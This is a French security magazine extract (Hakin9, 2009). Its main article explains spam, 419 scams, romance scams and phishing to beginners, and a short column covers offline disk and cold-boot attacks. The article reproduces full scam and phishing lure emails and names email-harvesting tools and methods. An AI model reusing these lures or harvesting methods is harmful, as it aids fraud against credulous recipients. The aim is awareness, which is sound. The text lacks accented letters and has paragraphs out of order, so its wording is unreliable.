Le premier pourriel (ou spam) a t envoy le 3 mai 1978 par Gary Thuerk, agent du marketing travaillant chez DEC. Selon l'anecdote, Gary envoya son message la totalit des utilisateurs d'ARPANET (anctre de l'internet) vivant sur la cte ouest des tats-Unis (soit environ 600 personnes). Souhaitant judicieusement se faciliter la tche, il mit l'ensemble des adresses directement dans le champ destinataire. Bien qu'il fit cela sans mauvaise intention et simplement afin d'inviter des personnes technophiles une dmonstration DEC, il dclencha une vive contestation. Nanmoins, l'administration amricaine grant le rseau condamna largement la pratique, la jugeant non-conforme aux termes d'utilisation du rseau et l'thique : une autre poque ... une autre politique. Aussi surprenant que cela puisse parratre, les Monty Python ont leur part de responsabilit dans la cration du terme spam. Effectivement, dans un de leurs plus clbres sketches (vu dans l'mission Monthy Python Flying Circus), ils sont dguiss en vikings amateurs de pt et ructent une chanson interminable et insupportable dont les paroles se rsument en un seul mot : spam spam spam (ce sketch illustre merveille le flau lectronique). L'appt du gain facile ou malhonnte est dsormais au coeur de la cybercriminalit. Lors, le spam joue sur cette corde sensible afin d'aboutir son objectif (comprendre
Afin de bien comprendre cet article, il faut d`abord expliquer la signification de cerains termes.
VITER LE SPAM
l'accumulation d'adresses lectroniques). Les promesses sont allchantes et les crdules ne manquent pas. Par exemple, durant les derniers mois de l'anne 2008, on pouvait recevoir une invitation bien sympathique via sa messagerie lectronique. Effectivement, les tablissements Google se proposaient de partager gnreusement avec l'ensemble des internautes des sommes d'argent importantes (et malgr la crise du moment). Ce mail a circul trs largement sur le rseau des rseaux (il existe aussi plusieurs variantes reprenant le corps du message mais disposant d'une autre provenance comme Microsoft par exemple) : Sujet : Google a 10ans Madame, Monsieur, Nous avons le plaisir de vous informer que Google France ftera ses 10 annes dexistence en janvier 2008. A cette occasion, suite aux retombes conomiques formidables engranges, Google voudrait remercier les internautes, sans qui, cette merveilleuse aventure naurait pas tait possible. Google offrira donc pour 45 euros de matriel informatique toutes les personnes qui feront suivre ce mail au moins 10 contacts diffrents, avec la mention Google a 10 ans en objet. La somme est cumulable sur plusieurs tranches de 10 contacts. Par exemple, si vous envoyez le mail 30 contacts, vous recevrez 135 euros. Vous recevrez sous 3 semaines un code 12 chiffres, vous permettant dimprimer votre bon dachat en ligne. Le service de logistique oprationnelle informatique de Google dtectera automatiquement les personnes qui envoient ce mail, avec la mention gagnante en objet, et ce texte en corps de mail. Merci de votre participation. fraude 419). Voici un modle du genre (vous remarquerez la manipulation psychologique intressante) : De:****** Tel:***-******** Courriel: ****@yahoo.com Bonjour, Je m'appelle ****** je suis g de 26 ans et je vis en Cte d'Ivoire. Malheureusement comme vous le savez mon pays traverse une priode trs difficile ce qui m'a contraint fuir ma rgion d'habitation qui est Bouak (dans le centre du pays). Mon pre tait un marchand de cacao trs riche Abidjan, la capitale conomique de la Cte d'Ivoire. Avant qu'il n'ai t grivement bless par les rebelles, urgemment conduit l'hpital il m'a fait savoir qu'il avait dpos 5 000 000 $ dans une mallette dans une socit de scurit base Abidjan. A l'annonce de la mort de mon pre je me suis prcipit dans sa chambre dans le but de prendre tout ce qu'il avait comme document administratif, j'ai dcouvert le certificat de dpt dlivr par la compagnie de scurit mon pre. Une fois arriv Abidjan j'ai essay de vrifier la validit de ce document. Le directeur de la socit m'a confirm l'existence de cette mallette dans leur tablissement. De peur de perdre cet argent, je sollicite l'aide de quelqu'un afin de transfrer ce seul bien que mon pre m'a lgu dans un pays tranger pour investir car la situation en Cte d'Ivoire est toujours incertaine. Une fois le transfert effectu je me rendrai l-bas pour rcuprer cet argent et y faire ma vie. Si vous tes prt maider, envoyer moi vite une rponse afin que lon puisse trouver un conciliabule. Dans lattente dune suite favorable recevez mes salutations et que dieu vous bnisse. PS: N'oubliez pas de me contacter directement mon adresse priv: ****@yahoo.com Une romance scam est un type de scam (ou arnaque) o un tranger prtend avoir des sentiments amoureux l'gard de sa victime. L'arnaqueur utilise alors cette affection afin d'accder au compte bancaire d'une manire ou d'une autre. Selon les habitudes, la plupart de ces arnaques semblent provenir d'Afrique de l'Ouest, principalement du Nigeria pour les arnaques en anglais et de Cte d'Ivoire pour celles en franais. De plus, ce genre de tromperie peut aussi s'effectuer par l'intermdiaire de sites de rencontre. Des jeunes femmes souvent
originaires d'Europe de lEst (Ukraine et Russie) oprent selon cette sinistre mthode. Pour comprendre simplement, la romance scam repose sur la cration de liens affectifs et fait appel aux motions naturelles. A cet effet, un des leaders mondiaux dans le domaine de la scurit informatique a publi durant le mois d'octobre 2008 une enqute sur les douze principaux pays partir desquels des campagnes massives (spam et scam confondu) ont t mises au cours du troisime trimestre de 2008. Ces rsultats sont fonds sur lanalyse de lensemble des messages curieux reus par leur rseau mondial de piges (en anglais, Honey Pot). Ils rvlent une hausse inquitante du pourcentage des messages accompagns dune pice jointe malveillante, ainsi quune augmentation des attaques sappuyant sur des techniques dingnierie sociale afin de tromper les destinataires. Les concepteurs de ces mails s'chinent rendre ces courriers vraisemblables afin de constituer une crdibilit toute artificielle. Considrons quelques exemples pertinents et rcents. Peut-tre mme reconnaitrez-vous la substance d'un message prcdemment reu dans votre messagerie lectronique. Sur le seul troisime trimestre 2008, La principale attaque concernait le cheval de
Dfinition du SCAM
Il existe aussi une variante grave aux pourriels (spam): Le scam. Cela commence par un message lectronique dans lequel quelqu'un vous demande gentillement d'envoyer de l'argent liquide afin de pouvoir dbloquer une norme somme d'argent quelconque. En change de votre bont, vous recevrez une solide rcompense. Bien sr, tout est faux. Il s'agit d'une arnaque qui contrevient l'article de loi nigrian 419 (d'o l'expression,
DBUTANTS
Troie Agent-HNY, camoufl en jeu darcade Penguin Panic pour iPhone Apple. Parmi les autres incidents majeurs figurent le troyen EncPk-CZ, qui se faisait passer pour un correctif Microsoft et le malware Invo-Zip (faux avis du transporteur FEDEX). Ainsi, les utilisateurs de Windows ouvrant ces pices jointes exposaient leur PC un risque dinfection important, mettant potentiellement leur identit lectronique en pril. Ces principales attaques ne sont conues que pour fonctionner sous Windows. Pour les inconditionnels dApple Mac et dUnix, ces attaques massives ne se sont traduites que par la saturation de leur messagerie, sans risque dinfection de leur systme. Le courrier se composait ainsi (notez le souci de crdibilit afin de gruger le destinataire. Le fichier joint tait ce malware nonc prcdemment) : Subject: Tracking N <some random digits> Unfortunately we were not able to deliver postal package you sent on <Month> the <date> in time because the recipients address is not correct. Please print out the invoice copy attached and collect the package at our office Your FEDEX S'il est facile de comprendre l'ambigut d'une pareille information, il faut bien reconnatre que les novices risquent de tomber dans le pige. La vocation d'une distribution massive d'un courrier lectronique est de nature diverse. Gnralement, elle repose simplement sur trois alternatives que nous placerons dans un ordre de malveillance : publicit pour un produit quelconque, propagation d'un virus ou d'un malware, tentative d'usurpation d'identit ou phishing.
Tableau 1. Les 12 pays d'o proviennent massivement les campagnes de SPAM Position Etat-Unis Russie Turquie Chine + Hong-Kong Brsil Core du sud Inde Argentine Italie Royaume Uni Colombie Thalande Autres pays Pourcentage 18,9 8,3 8,2 5,4 4,5 3,8 3,5 2,9 2,8 2,7 2,5 2,4 34,3
Le Malware
La diffrence entre un virus et un malware repose sur la vocation de celui-ci. Si un virus a simplement pour objectif de nuire de la manire la plus sinistre possible, un malware est dvelopp afin de profiter d'un ordinateur cible. Par exemple, il peut permettre un pirate de rentrer dans un ordinateur afin de lire (tlcharger aussi) des donnes importantes. Il peut encore espionner vos habitudes sur internet afin d'tablir un cahier reprsentatif comme un sondage. En d'autres termes et d'une manire image, si un virus est semblable une brique dans la vitrine d'une boutique, le malware cherche plutt la furtivit comme un voleur tapi dans l'ombre.
Le Phishing
Le phishing (en franais, hameonnage ou filoutage) est une technique utilise par des fraudeurs afin d'obtenir des renseignements personnels dans le but de perptrer une usurpation d'identit. La technique consiste faire croire la victime qu'elle s'adresse un tiers de confiance (banque, administration, eBay, PayPal, etc). L'objectif est de soutirer des renseignements personnels comme les mots de passe, les numros de carte de crdit, etc. Cette forme d'escroquerie repose essentiellement sur l'ingnierie sociale et ne rclame que peu de connaissance informatique. Le terme phishing aurait t invent par des pirates et serait construit sur l'expression anglaise password harvesting fishing (comprendre pche aux mots de passe). Typiquement, les messages ainsi envoys semblent maner d'une socit digne de confiance et sont formuls de manire ne pas alarmer le destinataire afin qu'il effectue une action en consquence. Une approche souvent utilise est d'indiquer la victime que son compte a t accidentellement dsactiv et que la ractivation ne sera possible qu'en cas d'action immdiate de sa part. Le message fournit alors un hyperlien qui dirige l'utilisateur vers une page Web traditionnelle qui ressemble s'y mprendre au site original. Arriv sur cette page frauduleuse, l'utilisateur est invit saisir des informations confidentielles qui sont alors enregistres par les criminels.
VITER LE SPAM
Certains penseront peut-tre que la technique ne peut pas rellement marcher ... et pourtant! Il vous suffira de rechercher sous Google les informations relatives aux rcentes affaires criminelles propres cette technique. On retrouve plemle des histoires relatant des sommes astronomiques pouvant dpasser des millions de Dollars, ainsi que des noms d'entreprises prestigieuses (que nous tairons afin de ne pas nuire leur crdibilit). Nanmoins, un mail fait actuellement le tour des botes de messagerie FREE afin d'inviter labonn quelconque fournir ses coordonnes personnelles attaches son compte. La page contrefaite est particulirement bien compose. Le pige s'est dj referm de nombreuses fois sur les internautes FREE insouciants. Ainsi, vous l'aurez compris, le problme est important d'autant plus qu'il semble se produire actuellement un accroisement des attaques de cet acabit. Or, nous n'avons pas choisi cet exemple pour rien ou par hasard. Si vous tes quelque peu observateur (et bon lve), vous aurez remarqu le nombre important de fautes d'orthographe et de grammaire dans la composition de cette fausse page FREE (plus de 10). Malheureusement, c'est parfois le seul moyen de se faire une juste opinion lorsqu'il se prsente un certain quivoque. Lors, ajoutons notre vigilance une bonne perception de l'astuce. Expliquons les mcanismes profonds de la manoeuvre criminelle. En premier lieu, il convient de constituer une liste consquente avec des adresses internet. Afin de parvenir un rsultat exploitable, il existe globalement 3 possibilits. profiter d'un rseau social, acheter une liste d'adresses auprs d'un professionnel, utiliser un programme de capture d'adresses. de quelqu'un ou une information relative un problme grave. Malheureusement, cette possibilit de communiquer avec d'autres permet certaines personnes de constituer des rseaux sociaux sans relles nobles motivations. Illustrons cette mthode par un exemple vcu durant la dernire semaine de l'anne 2008. Voici la nature du mail (les fameuses chanes de l'amiti). Notez la crdibilit du propos faisant rfrence un problme viral important (encore une fois, l'orthographe subit quelques entorses) : ATTENTION si un de vos contact vous propose un lien ou c`est crit: foto, puis le lien finissant par votre adresse msn surtout ne l'ouvrez pas ceci est un virus !!! Ce n'est pas votre contact qui l'envoie c'est un pirate qui a russi a entrer dans son "MSN". Envoie ce message a tous tes contacts MSN avant que le virus ne se propage!!! En finalit, de pareils mails circulent dans le monde entier et finissent par tomber dans des messageries lectroniques piges rcoltant ainsi des centaines de listes de contacts. Un seul exemplaire peut parfois contenir des centaines d'adresses d'internautes valides (voire un millier). De cette faon, il est trs facile de se constituer rapidement une liste afin d'automatiser une attaque de grande invergure. D'ailleurs, mme si la motivation originale n'tait pas de nuire, le principe voqu profitera immanquablement d'autres, beaucoup moins scrupuleux.
DBUTANTS
situation. Un flou juridique permet encore actuellement beaucoup de drives qui se traduisent souvent par des campagnes de spam massives. Ces socits proposent des listes d'adresses selon la dnomination optin. Or, qu'est-ce que cela sous-entend exactement. Une liste opt-in est compose essentiellement avec des adresses lectroniques dont les dpositaires acceptent de recevoir les informations et les offres des partenaires. A l'inverse, les adresses opt-out constituent un refus de partage absolu. Ajoutons, que la loi franaise "informatique et liberts" du 6 janvier 1978 impose toujours la dclaration auprs de la CNIL des fichiers d'adresses lectronique et une collecte loyale des susdites adresses est considre comme parfaitement dloyale la collecte des adresses dans les chats, forums de discussion, listes de diffusion, annuaires, sites web et sans que les personnes concernes n'en aient connaissance aucune. Lors, comment prouver qu'une liste vendue est vritablement compose essentiellement avec des adresses optin ? Le flou persiste. De ce constat, on distingue quatre formules d'inscription une liste de diffusion :
opt-in actif : l'internaute doit
volontairement cocher une case pour que son adresse soient utilise ultrieurement des fins commerciales, opt-in passif : une case est dj prcoche (position affirmative). L'accord de l'internaute est explicite, opt-out actif : Il faut cocher une case pour ne pas recevoir de message ultrieurement (on considre l'accord de l'internaute comme acquis par dfaut), opt-out passif : L'internaute est automatiquement inscrit une liste de diffusion sans qu'il ait la possibilit de changer cela au moment de l'inscription.
lectroniques afin de constituer sa campagne de spam, de scam ou de phishing. Ces susdites personnes composent une liste consquente grce quelques programmes ingnieux (parfois payant selon efficacit) dont la vocation est de trouver les adresses figurant dans des pages Web. Ajoutons encore que les changes sont possibles, voire mme encourags. Note : Nous n'avons pas encore voqu la menace virale. Par exemple, une simple drive du virus AnnaKournikova (vbs) permettrait de rcolter une masse d'informations importantes puisqu'il est bas justement sur une rplication selon le carnet d'adresses du programme OutLook Express. Il suffit de commander l'envoi d'un mail vers une adresse de rtention. Voici une portion du code selon la modle classique ( placer simplement en fin de fonction DoMail puisque l'applet OutLook est dj vacant) (voir Listing 1). A cet effet, selon plusieurs analystes en scurit informatique, le virus Sober.q (dont les propos suggrs une motivation seulement politique) serait en vrit une carte de visite pour spammeurs. Celui-ci se servait des ordinateurs infects afin d'tendre les campagnes de spam. L'ingniosit ne manque pas dans ce milieu puisqu'il apparat de nombreuses variantes et autres alternatives afin de contourner la vigilance des antivirus. Par exemple, les messages ne sont plus rdigs au format texte mais ils se distribuent plutt en fichiers de type MP3.
exemple), le pirate se cantonnera parcourir les sites internet du pays. Il est toujours possible d'implmenter un filtre de faon ne garder que les adresses relatives au portail cible (par exemple, hotmail ou FREE pour revenir sur notre prcdent modle). A cet effet, il existe une foultitude de logiciel de cet acabit, certains payants et d'autres gratuits. La combinaison de plusieurs postes de travail ajoute la composition des listes. De cette faon, une liste de plusieurs millions d'adresses et plus qu'envisageable. Une recherche par script automatis est aussi effectue par plusieurs groupes de distribution. Voici une liste non-exhaustive de programmes afin de capturer les adresses internet. Le logiciel Izi Capture (sous Windows essentiellement) est dconcertant de simpliciter. Sur la base d'une seule requte (car il fonctionne grce au moteur de recherche google), il permet de trouver un nombre important d'adresses lectroniques. Puisqu'il s'agit d'un rsultat selon indexation, le produit final de la recherche est trs rduit. Il permet donc de se consacrer un type d'utilisateur particulier. En d'autres termes, une recherche avec le mot counter-strike donnera une liste d'adresses lectroniques trs diffrente d'une recherche avec les mot pOrn. Ce logiciel de capture d'adresses lectroniques est ultra rapide. Selon les dvellopeurs de l'application, ce logiciel permet de lire jusqu' 64 pages internet en mme temps (en ADSL). Ainsi, un pirate dispose d'une arme efficace afin de cibler une groupe d'utilisateurs dtermin. Sur le site officiel, on peut tlcharger une version d'valuation (comptez 100 euros pour concrtiser l'achat). Encore une fois, c'est le cordonnier le plus mal chauss puisqu'une recherche Tableau 2. Quelques applications de capture d'adresses internet ListEmail Pro 5.01 Captimails MailingBuilderPro Izi Capture AnnuCapt AspiMail E-Capture pro
De plus, internet fourmille de personnes peu scrupuleuses dont les services (sous le manteau) se moque bien de la lgalit et du respect d'autrui. Ainsi, moyennant quelques dizaines d'euros, il est possible d'acheter une liste d'adresses
76 HAKIN9 3/2009
VITER LE SPAM
via le mot cl hakin9 affiche en finalit 10 adresses lectronique. Crer une ou plusieurs adressesjetables servant uniquement s'inscrire ou s'identifier sur les sites jugs non dignes de confiance. victimes, comprendre un got prononc pour l'argent ou les charmes exotiques. Que ce soit une armada de systmes de filtrage des courriers lectroniques, un mur de pare-feux, une foultitude d'antivirus ou de logiciels anti-spam, rien ne saurait tre plus efficace que le bon sens, la retenue, l'information et la vigilance. En finalit, nous dirons que les campagnes de spam, scam et les attaques par phishing sont un vritable flau pour la communaut internationale des cybernautes. Certains estimeront cette affirmation est exagre. En vrit, ces passages de courriers nuisibles polluent l'internet. Les inconvnients majeurs du spam sont : l'espace qu'il occupe dans les botes aux lettres des victimes, l'augmentation du risque de suppression errone ou de non-lecture de messages importants, le caractre violent ou dgradant de certaines images ou textes, la bande passante gaspille sur le rseau des rseaux, la mise en place de systmes antispam onreux et parfois lourd, le surcot des abonnements internet (formation du personnel, sensibilisation des utilisateurs, mise en place de structures de filtrage importantes, etc).
Conclusion
Certes, nous n'avons pas encore voqu l'essentiel: la mathmatique de la chose. Le secret de ces diffrentes mthodes d'arnaque repose essentiellement sur la crdulit de quelques-uns. Ainsi, l'objectif d'un pirate est de trouver ces personnes naves. Si la (mal)chance ne suffit pas, c'est la mathmatique de base qui intervient. En d'autres termes, plus la liste est large et plus la probabilit de trouver une victime est importante. En imaginant que seulement 0.001% des courriers lectroniques trouve un echo favorable, cela sous-entend 10 personnes vulnrables dans une liste de 1 000 000 d'adresses. C'est ainsi que fonctionne l'esprit de ces criminels. Afin de se protger efficacement contre les spams, scams et autres attaques par phishing, il convient de veiller au partage de ses informations confidentielles : Ne pas relayer les messages (courrier du coeur, Hoax, etc) invitant l'utilisateur transmettre le courrier un maximum de contacts possible. Eviter au maximum de publier son adresse lectronique sur des forums ou des sites internet. Remplacer son adresse lectronique par une image (non dtectable par les logiciels de capture d'adresses). Dcomposer son adresse lectronique, par exemple didier point sicchia arobase free point fr.
De plus, il se dveloppe sur internet une communaut particulirement motiv afin de lutter contre les scams en tout genre et de manire active. Ainsi, les scambaiters (ou croques-escrocs en franais) essaient de faire perdre un maximun de temps et d'nergie aux arnaqueurs, notamment en laissant croire qu'ils sont des victimes potentielles. De ce fait, un jeu psychologique intressant s'installe entre les protagonistes. Les scambaiters rpondent aux mails envoys par les escrocs, ceux-ci dveloppent une argumentation plus profonde, les scambaiters rpondent encore, les arnaqueurs rpliquent, etc. Lors, ces changes peuvent durer des semaines entires (voire des mois) sans apporter le moindre profit aux escrocs. L'arroseur est arros ! Vritable phnomne de socit, le spam dans ces attributs les plus larges s'analyse aussi comme un oeuvre d'art contemporain, une image atypique de notre systme de valeur. Certes, la technologie dveloppe un certain confort mais qui ne sait encore convenir pleinement l'ensemble de nos dsirs lgitimes. L'expansion du scam dmontre bien la fragile propension que nous avons manifester de la vigilance lorsque nos motions l'emportent. Effectivement, le principe repose trs largement sur la seule faiblesse des
Sur Internet
Dfinition et explication selon l'encyclopdie Wikipdia : http://fr.wikipedia.org/wiki/Pourriel Le spam selon les Monty Python (vido du sketch) : http://www.youtube.com/ watch?v=anwy2MPT5RE Le rapport Sophos sur le spam en 2008 : http://www.sophos.fr/pressoffice/news/articles/ 2008/10/spamreport.html Fiche d'information relatives au spam Google (hoax) : http://www.hoaxkiller.fr/hoax/2007/ google_10_ans.htm Portail du logiciel de capture d'adresses lectroniques : http://www.izimailing.com/logicielcapture-adresses-emails.htm Portail francophone contre le spam, le scam et le phishing (beaucoup d'archives et de tmoignages) : http://www.croque-escrocs.fr Portail important de lutte active contre les scams et autres arnaques virtuelles : http://www.thescambaiter.com Les diffrentes lois contre le spam (et dans le monde entier) : http://www.arobase.org/spam/ comprendre-regulation.htm
Beaucoup d'applications offrent la possibilit de bloquer (en partie) les messages indsirables. Ceci se fait avec plus ou moins d'efficacit d'ailleurs. Or, mme si on parvient liminer les spams et autres scams, il convient d'tre toujours vigilant face aux attaques par phishing. A dfaut de rpondre toutes les questions, cet article nous aura clairer sur le sujet et les mthodes des pirates.
Sicchia Didier
Il est l'origine de nombreux exploits, dossiers et articles divers pour plusieurs publications francophones consacres la scurit informatique et au dveloppement. Autodidacte et passionn, son exprience se porte notamment sur les ShellCodes, les dbordements d'allocations de mmoire, les RootKits, etc. Plus que tout autre chose, c'est l'esprit alternatif de la communaut UnderGround qui le motive. Afin de contacter l'auteur : didier.sicchia@free.fr 3/2009 HAKIN9
77
FEUILLETON
a mthodologie est simple : partir d'un accs physique un ordinateur, l'attaquant rcupre des donnes critiques (authentification, etc.), qui auraient t difficilement accessibles par le rseau. Cette mthode est utilise depuis bien longtemps par les administrateurs systmes et autres techniciens en maintenance informatique, afin de dbloquer des ordinateurs dont le mot de passe aurait t oubli, mais est ici dtourne des fins d'intrusion. Ainsi, partir du disque dur systme d'une machine Windows, il est souvent trivial de rcuprer la liste des empreintes des mots de passe [1], puis de casser ces dernires [2], au moyen de Rainbowtables par exemple. La mme attaque peut tre ralise directement sur les fichiers reprsentant les disques durs des machines virtuelles [3], transformant l'attaque physique en attaque logique, mais arrivant aux mmes rsultats. noter qu'une personne rellement malintentionne ne se contentera sans doute pas d'extraire des informations, mais pourrait trs bien injecter du code ou des logiciels malveillants son propre avantage (porte drobe, etc.). Ces dernires annes, des contremesures ont vu le jour, notamment chez Microsoft qui, partir de Windows Vista, a intgr le systme Bitlocker pour raliser du chiffrement de disque la vole et ainsi empcher toute rcupration
78 HAKIN9 3/2009
d'informations par une attaque hors-ligne. Mais quid de la mmoire vive ou des fichiers d'hibernation ? Si ces derniers sont en effet protgs par le chiffrement complet du disque quand Bitlocker est activ, ils n'en restent pas moins explorables le reste du temps [4] tout comme le contenu d'une image de la mmoire vive, contenant certes l'ensemble des processus en cours d'excution au moment de la capture, mais galement quelques mots de passe... et cls de chiffrement ! Des tudiants de Princeton se sont d'ailleurs penchs sur la rmanence des informations dans nos chres barrettes de mmoire vive [5], bousculant par la mme occasion toutes les ides reues
qui laissaient penser que la mmoire se vidait instantanment aprs la perte de l'alimentation lectrique. En fait, il est possible de rcuprer des informations plusieurs secondes, voire plusieurs minutes aprs l'extinction d'un ordinateur, si l'on refroidit suffisamment les composants de la mmoire immdiatement aprs l'arrt total. partir de l, rien n'empche de raliser une extraction des donnes et d'appliquer les mthodes prcdemment cites. Comme quoi il existe encore et toujours des vulnrabilits contre lesquelles les pare-feu, IDS/IPS et autres sondes vendues hors de prix ne seront d'aucun secours...
Julien Raeis
Il est consultant en scurit franais travaillant chez HSC (Herv Schauer Consultants - http://www.hsc.fr/). Il ralise des audits, tudes, tests d'intrusion et des formations aux tests d'intrusion. Julien remercie toute l'quipe HSC pour son aide et ses relectures. Julien peut tre contact l'adresse suivante : Julien.Raeis@hsc.fr.
Rfrences
http://sourceforge.net/projects/ophcrack/ [1] http://www.hsc.fr/ressources/articles/rdp_misc2/part1.htm [2] http://www.vmware.com/interfaces/vmdk.html [3] http://sandman.msuiche.net/ [4] http://citp.princeton.edu/memory/ [5] http://storm.net.nz/projects/16 [6]
INTERVIEW
Pour commencer, est-ce que vous pourriez vous prsenter nos lecteurs ? Je suis une jeune entrepreneuse passionne, autodidacte, sportive, autonome et indpendante. J'ai cr Zlites, une socit de prestations informatiques aux Mans (Sarthe, FR) en motivant et consolidant les comptences que j'ai pu rencontrer dans mes diffrentes expriences. Je me suis plong dans l'informatique en pluchant tour tour Windows 95 puis Linux ( partir de 1997) alors que j'tais encore au collge. Malgr mon BAC Sciences et Techniques de Laboratoire passer, je n'ai pas lch mes premiers ordinateurs. J'ai ensuite appris matriser les systmes Unix avec FreeBSD, OpenBSD, NetBSD et Sun Solaris. J'ai toujours t curieuse de faire quelque chose qui n'est pas prvu par les gens ou les systmes tout en cherchant comprendre comment ils fonctionnent concrtement. En 2004, j'ai fait un bref passage l'EPITECH o j'ai pu formaliser mes premires connaissances en matire de programmation systme surtout orient rseau ou noyau. Par la suite, jai consolid ces acquis en programmation C, que je considre comme lune des bases pour pouvoir faire de la scurit.
80 HAKIN9 3/2009
Ltude de protocoles rseaux, le dveloppement noyau et systme, ainsi que le reverse engineering ont t et sont toujours mes sujets de recherche favoris. J'ai fait un premier stage en entreprise avec pour objectif la recherche et mise en place d'une politique de scurit Wi-Fi, base sur des solutions opensource. En 2005, jai ralise un stage dans une SSII o j'ai travaill sur l'intgration d'une solution de firewall et d'anti-spam sur base de *BSD. J'ai pass mes trois dernires annes travailler comme freelance en administration systme et comme consultante en scurit. Mes capacits en termes d'analyse, d'adaptation et de ractivit font que l'on me considre un peu comme le joker disponible toute situation. Pourriez- vous nous prsenter brivement vos services et nous dire quel rle joue aujourdhui Zlites ? Nous avons quatre familles d'offre : Le matriel informatique, l'infrastructure rseau, le conseil informatique et le dveloppement de solutions web. Nous proposons des solutions de scurit informatique dans toutes ces familles, sauf ct matriel.
L'Infrastructure rseau : Nous sommes l'architecte et le ralisateur des infrastructures rseau de nos clients. Nous concevons, maintenons et faisons voluer l'ensemble des quipements relis entre eux pour changer et partager de manire scurise les informations. Nous faisons en sorte que nos clients puissent bnficier de leur outils quels que soient leurs besoins fonctionnels et gographiques. Le Conseil informatique : Nous offrons un haut niveau de prestation de conseil informatique, que nos clients aient dj ou non, un service informatique. Les missions de conseil informatique que nous ralisons chez les entreprises conjuguent notre capacit importante comprendre leurs mtiers avec leurs spcificits et notre matrise des technologies informatiques, pour les mettre au service dune stratgie dentreprise. Comme nous touchons un large spectre de connaissances techniques, notre vision est libre de toute influence pour les solutions prconises.
Quelles sont vos offres orientes vers les entreprises et les particuliers ? Nos offres sont uniquement ddies aux entreprises. Quels conseils pourriez-vous donner nos lecteurs qui hsitent devant le choix de service informatique ? Ils ont raison d'hsiter : il ne faut pas aller au plus simple. Les offres packages sont souvent trompeuses et pauvres en intelligence technique. Il faut viter de s'adresser ses proches. Le monde de l'informatique vu par le nophyte peut tre compar au monde mdical : En effet, lorsque vous entrez dans un hpital, toutes les personnes qui portent une blouse blanche ne sont pas tous des mdecins ou des professeurs ! Il ne faut pas hsiter vrifier les rfrences de son prestataire. En terminant, pourriez-vous citer quelques uns de vos clients de renomme internationale qui font confiance vos services ? SeisQuaRe, anciennement ERM.S-GROUP (services paraptroliers), Promaritime International (transport maritime). Notre socit est encore trop jeune pour avoir fait des missions de scurit dans des groupes de renomme internationale. http://www.zelites.org
3/2009 HAKIN9 81
DITORIAL
Dans cette rubrique c`est Yves Le Provost, consultant en scurit informatique travaillant pour le cabinet HSC (Herv Schauer Consultants) qui vous prsentera l`article sur les attaques par injections SQL.
SUR LE CD
Comme toujours dans chaque numro nous vous proposons Hakin9 live avec la distribution Backtrack 3. Applications commerciales en versions compltes et des programmes en excluvit, pour la scurit, la protection et la stabilit de votre systme. Des tutoriels vido pratiques afin de mieux comprendre les mthodes offensives.
PRATIQUE
Cette rubrique vous permettra de connatre une mthode d`attaque et d`appliquer les moyens de dfense mettre en place.
EN BREF
L`actualit du monde de la scurit informatique et des systmes d`information. Les nouvelles failles, les intrusions web et les nouvelles applications.
TECHNIQUE
Cette fois-ci nous vous prsenterons un article Lanti-mascarade qui parle d`une technique peu connue et non implmente sur les scanners de ports (y compris nmap). Cette astuce permet de dnombrer le nombre de machines prsentes derriere un routeur qui redirige certains ports vers ces machines.
DATA RECOVERY
Dans cette rubrique vous allez suivre les risques lis aux donnes, de la cl USB au serveur, les risques de pertes, mais aussi de vol de donnes, les moyens de protectios lis ces priphriques.
Vous souhaitez collaborer a la rdaction des articles? N`hsitez pas nous contacter! FR@HAKIN9.ORG Ce numro sera disponible en Juillet/Aot La rdaction se rserve le droit de modifier le contenu de la revue.
Le bimestriel hakin9 est publi par Software-Wydawnictwo Sp. z o.o. Prsident de Software-Wydawnictwo Sp. z o.o. : Pawe Marciniak Rdactrice en chef : Margot Kompiel malgorzata.kompiel@hakin9.org Fabrication : Marta Kurpiewska marta.kurpiewska@software.com.pl DTP : Marcin Zikowski Graphics & Design Studio http://www.gdstudio.pl Couverture : Agnieszka Marchocka Couverture CD : Przemyslaw Banasiewicz Publicit : publicite@software.com.pl Abonnement : software@emdnl.nl Diffusion : Katarzyna Winiarz katarzyna.winiarz@software.com.pl Dpt lgal : parution ISSN : 1731-7037 Distribution : MLP Parc dactivits de Chesnes, 55 bd de la Noire BP 59 F - 38291 SAINT-QUENTIN-FALLAVIER CEDEX (c) 2009 Software-Wydawnictwo, tous les droits rservs
Bta-testeurs : Didier Sicchia, Pierre Louvet, Anthony Marchetti, Rgis Senet, Paul Amar, Julien Smyczynski Les personnes intresses par la coopration sont invites nous contacter : fr@hakin9.org Prparation du CD : Rafal Kwany Imprimerie, photogravure : 101 Studio, Firma Tgi Ekonomiczna 30/36, 93-426 d Imprim en Pologne Adresse de correspondance : Software-Wydawnictwo Sp. z o.o. Bokserska 1, 02-682 Varsovie, Pologne Tl. +48 22 427 32 87, Fax. +48 22 244 24 59 www.hakin9.org Abonnement (France mtropolitaine, DOM/ TOM) : 1 an (soit 6 numros) 35 La rdaction fait tout son possible pour sassurer que les logiciels sont jour, elle dcline toute responsabilit pour leur utilisation.
Elle ne fournit pas de support technique li linstallation ou lutilisation des logiciels enregistrs sur le CD-ROM. Tous les logos et marques dposs sont la proprit de leurs propritaires respectifs. Le CD-ROM joint au magazine a t test avec AntiVirenKit de la socit G Data Software Sp. z o.o. AVERTISSEMENT Les techniques prsentes dans les articles ne peuvent tre utilises quau sein des rseaux internes. La rdaction du magazine nest pas responsable de lutilisation incorrecte des techniques prsentes. Lutilisation des techniques prsentes peut provoquer la perte des donnes !
82
HAKIN9 5/2008